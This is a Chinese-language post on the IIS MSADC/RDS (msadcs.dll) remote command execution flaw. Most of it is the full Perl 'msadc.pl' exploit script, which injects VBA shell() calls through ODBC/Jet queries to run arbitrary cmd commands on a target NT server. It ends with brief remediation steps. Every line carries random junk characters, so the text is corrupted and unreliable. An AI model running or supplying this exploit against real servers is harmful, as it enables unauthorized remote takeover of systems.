IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,Xg^rV~] Ba t@ 涉及程序:
[x-
9m\h Microsoft NT server
Y5P9z{X= ERIF#EY 描述:
WqS$C;]% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rCb$^(w{7 (!?%"e 详细:
"Bz#5kqnl 如果你没有时间读详细内容的话,就删除:
VA`VDUG, c:\Program Files\Common Files\System\Msadc\msadcs.dll
PP/#Z~.M 有关的安全问题就没有了。
hu7oJ H 2@Q5Ta#h 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
+: Nz_l |,({$TrF 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Y\
;hjxR- 关于利用ODBC远程漏洞的描述,请参看:
F6\4[B 7\ X_%SM % http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ulk/I-y mRt/d 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
:fUNc^\2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp jk Aru_C 06`caG|]-M 这里不再论述。
l\!`ZhM, !|
q19$ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
I]42R;Sc "D:?l`\o /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
fhha-J 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
YgtW(j[ yr* ~?\ -FrK'!\ #将下面这段保存为txt文件,然后: "perl -x 文件名"
uZ+"-Ig jaIcIc=Pf #!perl
aCi)icn$ #
mR|']^!SE # MSADC/RDS 'usage' (aka exploit) script
"*S_w N% #
XsSDz}dg # by rain.forest.puppy
fo<nk|i #
TkIiO> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ks,d4b=-> # beta test and find errors!
h\5~&}Hp b?2 \j} use Socket; use Getopt::Std;
9|NF)~Q}' getopts("e:vd:h:XR", \%args);
G @]n(\7Y 'R#MH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]ki) (Bb dnM. if (!defined $args{h} && !defined $args{R}) {
uH7!)LE# print qq~
Dc 84^>l Usage: msadc.pl -h <host> { -d <delay> -X -v }
dKevhm)R" -h <host> = host you want to scan (ip or domain)
5A%Uv* -d <seconds> = delay between calls, default 1 second
]vw%J ^7:a -X = dump Index Server path table, if available
p _2Y c]8 -v = verbose
uTdz$Nh -e = external dictionary file for step 5
7.+vp@+ )%
gU Or a -R will resume a command session
:OqEkh"$# #miG"2ea.. ~; exit;}
<p?oFD_e4 8|u8J0^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jN(c`Gb if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
T t_QAIl if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'b6qEU# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
I9nm$,i]7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\K lY8\c[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^rGuyW# ];eJ'# if (!defined $args{R}){ $ret = &has_msadc;
.R#<Q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kt7Em b} aU#r`D@0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!,sQB_09C . "cmd /c ";
'oM=ZU8wo $in=<STDIN>; chomp $in;
Wd7qpWItjQ $command="cmd /c " . $in ;
X@/wsW(kM\ 	HV if (defined $args{R}) {&load; exit;}
)Ofwfypc .$+,Y4q~( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\_)mWK,h &try_btcustmr;
p77=~s \ >#y*W< print "\nStep 2: Trying to make our own DSN...";
Z4{N|h? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
T:!H^ j#l1KO^y print "\nStep 3: Trying known DSNs...";
fF5\\_, &known_dsn;
&Gm3 K]^Jl0 print "\nStep 4: Trying known .mdbs...";
RF~c/en &known_mdb;
#8%~ u+"N #wGOlW;R if (defined $args{e}){
']H*f2y print "\nStep 5: Trying dictionary of DSN names...";
+JB*1dz>8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
\SWuylE RGBntp% print "Sorry Charley...maybe next time?\n";
Y+EwBg)co exit;
aCyn9Y$= Smd83W& ##############################################################################
R0nUS<b0 #9A*B bY sub sendraw { # ripped and modded from whisker
Qe]& sleep($delay); # it's a DoS on the server! At least on mine...
,fhwDqR
? my ($pstr)=@_;
yATXN>]l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~!e(e2 die("Socket problems\n");
X1Kze if(connect(S,pack "SnA4x8",2,80,$target)){
Re1}aLd select(S); $|=1;
5X9*K print $pstr; my @in=<S>;
GwG(?_I" select(STDOUT); close(S);
MEtKFC|p return @in;
V9;IH<s: } else { die("Can't connect...\n"); }}
Vp8!-[R _1jeaV9@ ##############################################################################
K~qKr<) @Dd ( sub make_header { # make the HTTP request
n ,@ge my $msadc=<<EOT
l HZ4N{n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?zYR;r2'b) User-Agent: ACTIVEDATA
1V]j8 Host: $ip
Zj)A%WTD, Content-Length: $clen
WVx^}_FD0 Connection: Keep-Alive
ko~e*31_E JNI&]3[C>? ADCClientVersion:01.06
xfqU
atC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
G.^^zmsM` T1RICIf1F --!ADM!ROX!YOUR!WORLD!
\'B%lXh Content-Type: application/x-varg
|e2s{J2 Content-Length: $reqlen
x`K"1E{2 '~x jaa;. EOT
u}jC$T>2%6 ; $msadc=~s/\n/\r\n/g;
7[M@;$ return $msadc;}
z~jk_|?|? irn
}.e ##############################################################################
~b9fk)z! .zJZ*\2ob sub make_req { # make the RDS request
WwLV^m] my ($switch, $p1, $p2)=@_;
sw,p6T[ my $req=""; my $t1, $t2, $query, $dsn;
9n3. Ar = Fwzm^}6 if ($switch==1){ # this is the btcustmr.mdb query
$-n_$jLY $query="Select * from Customers where City=" . make_shell();
_!o0bYD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
e?e oy| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
gv,%5r0YOw 2K2*UC`f elsif ($switch==2){ # this is general make table query
)u307Lg $query="create table AZZ (B int, C varchar(10))";
+4k4z:<n $dsn="$p1";}
?T>N vKF }G<A$*L1 elsif ($switch==3){ # this is general exploit table query
T>v`UN Bl] $query="select * from AZZ where C=" . make_shell();
#o(@S{(NZ $dsn="$p1";}
+F^X1 /$UWTq/C7
elsif ($switch==4){ # attempt to hork file info from index server
l^v,X%{Iz $query="select path from scope()";
=CL h<& $dsn="Provider=MSIDXS;";}
Hnbd<?y
B(pHo&ox
elsif ($switch==5){ # bad query
U> {CG+X $query="select";
I!~3xZ $dsn="$p1";}
q/3co86c ?WrL<?r)}U $t1= make_unicode($query);
"IoY$!Hk $t2= make_unicode($dsn);
p5bM/{DP;K $req = "\x02\x00\x03\x00";
z2SR/[I? $req.= "\x08\x00" . pack ("S1", length($t1));
,.,Y{CP $req.= "\x00\x00" . $t1 ;
V V Aw y6 $req.= "\x08\x00" . pack ("S1", length($t2));
TA+/35^? $req.= "\x00\x00" . $t2 ;
<}AmzeHr+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
OJ}aN>k return $req;}
ypY7uYO^" %?z;'Y7D ##############################################################################
fXAD~7T*s HjX)5@"o( sub make_shell { # this makes the shell() statement
''CowI return "'|shell(\"$command\")|'";}
QtfLJ5vi Y=
^o {C6 ##############################################################################
=
8\'AU -V}ZbXJD sub make_unicode { # quick little function to convert to unicode
&fifOF#[e my ($in)=@_; my $out;
\LDcIK= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
W u693< return $out;}
(9!kKMQW' :$oi P ##############################################################################
15!b]': `wNJ*` sub rdo_success { # checks for RDO return success (this is kludge)
l78:. my (@in) = @_; my $base=content_start(@in);
A
Zv| |8p if($in[$base]=~/multipart\/mixed/){
~;nW+S$o
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[,mcvO; return 0;}
9S)A6] :']O4v#^ ##############################################################################
E=~Ahkg "QV1G' sub make_dsn { # this makes a DSN for us
%l)~C%T my @drives=("c","d","e","f");
r A9Rz^;xa print "\nMaking DSN: ";
Q37zBC0 foreach $drive (@drives) {
`O}bPwa{> print "$drive: ";
Z/I`XPmk my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
R]_fe4Y0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
bqUQadDB . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0"=}d y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3hNb
? return 0 if $2 eq "404"; # not found/doesn't exist
:n(!, if($2 eq "200") {
K.\- foreach $line (@results) {
-!ERe@k( return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
JT 5+d , } return 0;}
c# WIB 4 xqaw00,s ##############################################################################
hin6cac )1]LoEdm` sub verify_exists {
h3kBNBI ) my ($page)=@_;
=|bW >y my @results=sendraw("GET $page HTTP/1.0\n\n");
$a+)v#?, return $results[0];}
x8*@<]! M.}QXta ##############################################################################
.s<tQU 74*iF'f?c sub try_btcustmr {
"_/5{Nc$ my @drives=("c","d","e","f");
hdee]qLS my @dirs=("winnt","winnt35","winnt351","win","windows");
BGVy
\F< &8 4Izs/[ foreach $dir (@dirs) {
QjwCY=PK! print "$dir -> "; # fun status so you can see progress
{m<!-B95 foreach $drive (@drives) {
.AZ+|?d print "$drive: "; # ditto
cOEzS $reqlen=length( make_req(1,$drive,$dir) ) - 28;
j~rarR@NB) $reqlenlen=length( "$reqlen" );
}sS1p6z $clen= 206 + $reqlenlen + $reqlen;
WnC0T5S?U f= l*+QY8f my @results=sendraw(make_header() . make_req(1,$drive,$dir));
U*em)/9 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
78<QNlKn else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&0S/]E`_M -qRO}EF ##############################################################################
'k[gxk|d2 G6x 2!Ny sub odbc_error {
sOW,hpNW my (@in)=@_; my $base;
>@U
lhJtW my $base = content_start(@in);
4WV)&50 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
) XHcrm& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_i{4 4zE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<0I=XsE1iX $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t~"DQqE return $in[$base+4].$in[$base+5].$in[$base+6];}
]6 {\`a print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
E.~~.2
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
uu582%tiG $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
B 9AE* Sf0[^"7 ##############################################################################
:7Q,
`W9 |qsY0zx sub verbose {
o] 7U;W my ($in)=@_;
R!LKGiN return if !$verbose;
ss>?fyA print STDOUT "\n$in\n";}
Gk5SG_o &g<`i{_ ##############################################################################
Jv=G3=. OHha5n sub save {
>w=xGb7 my ($p1, $p2, $p3, $p4)=@_;
D?"TcA open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,W/D 0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S+YbsLf close OUT;}
~cEr<mzR :j2_Jn4UP ##############################################################################
kpN'H_ . >zDnJb&"& sub load {
tY=n("=2 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D`^9
u
K open(IN,"<rds.save") || die("Couldn't open rds.save\n");
?V&[U @p=<IN>; close(IN);
+(<}`!9M* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~X
-.@k' $target= inet_aton($ip) || die("inet_aton problems");
v+Q#O[ print "Resuming to $ip ...";
g#ONtY@*U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
F-n1J?4b if($p[1]==1) {
AFSFXPl
" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H;n(qBSB $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%C[ ;& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&j7l#Urq if (rdo_success(@results)){print "Success!\n";}
Eqva]
4 else { print "failed\n"; verbose(odbc_error(@results));}}
aJ Du_ elsif ($p[1]==3){
RFu]vFff if(run_query("$p[3]")){
qqYH}%0dz print "Success!\n";} else { print "failed\n"; }}
BDg6ZI<n elsif ($p[1]==4){
k]`3if5> if(run_query($drvst . "$p[3]")){
[]M+(8Z_P print "Success!\n"; } else { print "failed\n"; }}
Uq6..<# exit;}
n[/|M %j=,c{`Q ##############################################################################
s"|N-A=cS '4A8\&lQO sub create_table {
9D_4]'KG my ($in)=@_;
!2N#H~{ $reqlen=length( make_req(2,$in,"") ) - 28;
LV 94i $reqlenlen=length( "$reqlen" );
~I>B5^3 $clen= 206 + $reqlenlen + $reqlen;
)N2yhdcqI my @results=sendraw(make_header() . make_req(2,$in,""));
g5to0 return 1 if rdo_success(@results);
viBf". my $temp= odbc_error(@results); verbose($temp);
%;PPu$8K9 return 1 if $temp=~/Table 'AZZ' already exists/;
um&e.V)N return 0;}
~4*9w3t
q6{ %vd ##############################################################################
)x"Z$ jIs GKPqBi[rO sub known_dsn {
/kVy#sT| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
?lU]J] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y\@;s?QL "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ASaG }h "banner", "banners", "ads", "ADCDemo", "ADCTest");
!U/:!e`N (.!q~G foreach $dSn (@dsns) {
N1(}3O print ".";
SJ7>*Sa(u$ next if (!is_access("DSN=$dSn"));
Z-H Kdv!d if(create_table("DSN=$dSn")){
u6jJf@!ws print "$dSn successful\n";
(s{%XB:K if(run_query("DSN=$dSn")){
Af0E_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a@,tf'Sr print "Something's borked. Use verbose next time\n";}}} print "\n";}
S-yd-MtQp xMhR;lKY ##############################################################################
YKl!M/
e= "/oo sub is_access {
a+mq=K my ($in)=@_;
,lA J{5\# $reqlen=length( make_req(5,$in,"") ) - 28;
N
&p=4 $reqlenlen=length( "$reqlen" );
Ze Shn $clen= 206 + $reqlenlen + $reqlen;
foE2rV/Y my @results=sendraw(make_header() . make_req(5,$in,""));
:ykZ7X& my $temp= odbc_error(@results);
i`8!Vm verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:eQxdi' return 0;}
3g2t{% x)vYc36H ##############################################################################
{Rw~G&vQ 8gBqur{ sub run_query {
+I\bs.84 my ($in)=@_;
?67j+) $reqlen=length( make_req(3,$in,"") ) - 28;
e@^}y4
C $reqlenlen=length( "$reqlen" );
uNhAfZ $clen= 206 + $reqlenlen + $reqlen;
-3_kS/ my @results=sendraw(make_header() . make_req(3,$in,""));
eB$v'9S8/ return 1 if rdo_success(@results);
.FHOOw1r= my $temp= odbc_error(@results); verbose($temp);
",8h>eEWK return 0;}
;{Z2i% V|? ##############################################################################
F<-Pbtw n7<<}wcV sub known_mdb {
"TjR]jnV( my @drives=("c","d","e","f","g");
/'VCJjzZ my @dirs=("winnt","winnt35","winnt351","win","windows");
ocgbBE my $dir, $drive, $mdb;
~T4=Id my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z/x<U.B JG}U,{7( # this is sparse, because I don't know of many
xI:;%5{LN my @sysmdbs=( "\\catroot\\icatalog.mdb",
<JH0 & "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"l +Jx|h\ "\\system32\\certmdb.mdb",
@1Zf&'/6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
'T|.<u@~ XcfTE
m my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
KI>7h.t "\\cfusion\\cfapps\\forums\\forums_.mdb",
sCRBKCR? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<U,T*Ql1x "\\cfusion\\cfapps\\security\\realm_.mdb",
s^KxAw_IV "\\cfusion\\cfapps\\security\\data\\realm.mdb",
dnIBAe "\\cfusion\\database\\cfexamples.mdb",
g\*gHHa "\\cfusion\\database\\cfsnippets.mdb",
P<4jY?. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R?&S]?H "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6/#= dv "\\cfusion\\brighttiger\\database\\cleam.mdb",
[Q 2t,tQx "\\cfusion\\database\\smpolicy.mdb",
q}\\p "\\cfusion\\database\cypress.mdb",
Qn*c<: "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T.`%1S "\\website\\cgi-win\\dbsample.mdb",
U5H o? `< "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
5E!|-xD "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^jmnE.8R ); #these are just
/
V{w< foreach $drive (@drives) {
0U/:Tpyr foreach $dir (@dirs){
*iC
t4J foreach $mdb (@sysmdbs) {
B-&J]H print ".";
Cq(Xa- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Y6D=tb print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i*U\~CZjT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
s`
9zW, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
z~VA#8> } else { print "Something's borked. Use verbose next time\n"; }}}}}
-O_UpjR; !w)Mm P Xb foreach $drive (@drives) {
@$nI\n?* foreach $mdb (@mdbs) {
Rthu8NKn print ".";
v"F0$c if(create_table($drv . $drive . $dir . $mdb)){
{YGz=5 ^ print "\n" . $drive . $dir . $mdb . " successful\n";
?Y hua9 if(run_query($drv . $drive . $dir . $mdb)){
3mm`8!R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
IYQYW.`ly } else { print "Something's borked. Use verbose next time\n"; }}}}
Dh9-~}sW' }
9lD,aOb l[fNftT- ##############################################################################
%MjPQ yh0|f94m sub hork_idx {
%*19S.=l print "\nAttempting to dump Index Server tables...\n";
\W(p )M print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
pKH4?F $reqlen=length( make_req(4,"","") ) - 28;
\
qs6% $reqlenlen=length( "$reqlen" );
6=@n
b3D% $clen= 206 + $reqlenlen + $reqlen;
#63/;o:l$ my @results=sendraw2(make_header() . make_req(4,"",""));
Qs?+vk?*h if (rdo_success(@results)){
s?6 7@\ my $max=@results; my $c; my %d;
Q[b({Vj;tG for($c=19; $c<$max; $c++){
h3)KT+7. $results[$c]=~s/\x00//g;
q!H3JL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#/tdZ0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
- 5k4vx
N} $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
OUdeQO? $d{"$1$2"}="";}
Ch.T}% foreach $c (keys %d){ print "$c\n"; }
"=".ne } else {print "Index server doesn't seem to be installed.\n"; }}
E%;'3Qykva &iGl)dDr ##############################################################################
Gqia@>T4*N W?l .QQk sub dsn_dict {
vfbe=)}[ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
K4F!?# while(<IN>){
b?bYPN+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zgRP!q<9tt next if (!is_access("DSN=$dSn"));
I?Zs|A if(create_table("DSN=$dSn")){
^6LFho4 print "$dSn successful\n";
n5JB'F) if(run_query("DSN=$dSn")){
-E500F*b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,m"ztu- print "Something's borked. Use verbose next time\n";}}}
cdfll+ print "\n"; close(IN);}
xBZ9|2Y s kCC9U_dj, ##############################################################################
v|/3Mi9mz !:n),sFv45 sub sendraw2 { # ripped and modded from whisker
8;!Eqyt sleep($delay); # it's a DoS on the server! At least on mine...
U.)G#B my ($pstr)=@_;
!}PFi T^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GY",AL8f die("Socket problems\n");
kIfb! if(connect(S,pack "SnA4x8",2,80,$target)){
>C-_Zv<!T\ print "Connected. Getting data";
c==Oio(" open(OUT,">raw.out"); my @in;
*3ne(c select(S); $|=1; print $pstr;
8x9kF]= while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)>Q 2G/@ close(OUT); select(STDOUT); close(S); return @in;
0%qUTGj } else { die("Can't connect...\n"); }}
(En\odbvt ~r!5d@f.6 ##############################################################################
-+9x 0-P wrO>#`Z sub content_start { # this will take in the server headers
a?Y1G3U' my (@in)=@_; my $c;
i]53A0l for ($c=1;$c<500;$c++) {
_$'Mx'IC= if($in[$c] =~/^\x0d\x0a/){
O7d Fz)$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
cyhD%sB[D9 else { return $c+1; }}}
>b["T+ return -1;} # it should never get here actually
5j{@2]i avpw+M6+ ##############################################################################
@1@q6@9Tu C}h@ El sub funky {
a`-hLX)~Z my (@in)=@_; my $error=odbc_error(@in);
];I| _fXo% if($error=~/ADO could not find the specified provider/){
1SFKP$^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
XsOOkf\_ exit;}
1 :Yt2] if($error=~/A Handler is required/){
!1RV[b.8 print "\nServer has custom handler filters (they most likely are patched)\n";
p\{+l;` exit;}
X]yERaJ,i if($error=~/specified Handler has denied Access/){
lz)"zV print "\nServer has custom handler filters (they most likely are patched)\n";
g&Z7h4!\ exit;}}
zkp
Apj]. V{h@nhq ##############################################################################
Vf?#W,5>= ?:?4rIZ< sub has_msadc {
@"I#b99 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
BY0|exW my $base=content_start(@results);
YSV,q@I&1 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?&"^\p return 0;}
}x.)gW aVP|:OAj ########################
&5.~XM; 4Z}bw# VDTY<= Q 解决方案:
hf<$vRti> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
UPKi/)C; 2、移除web 目录: /msadc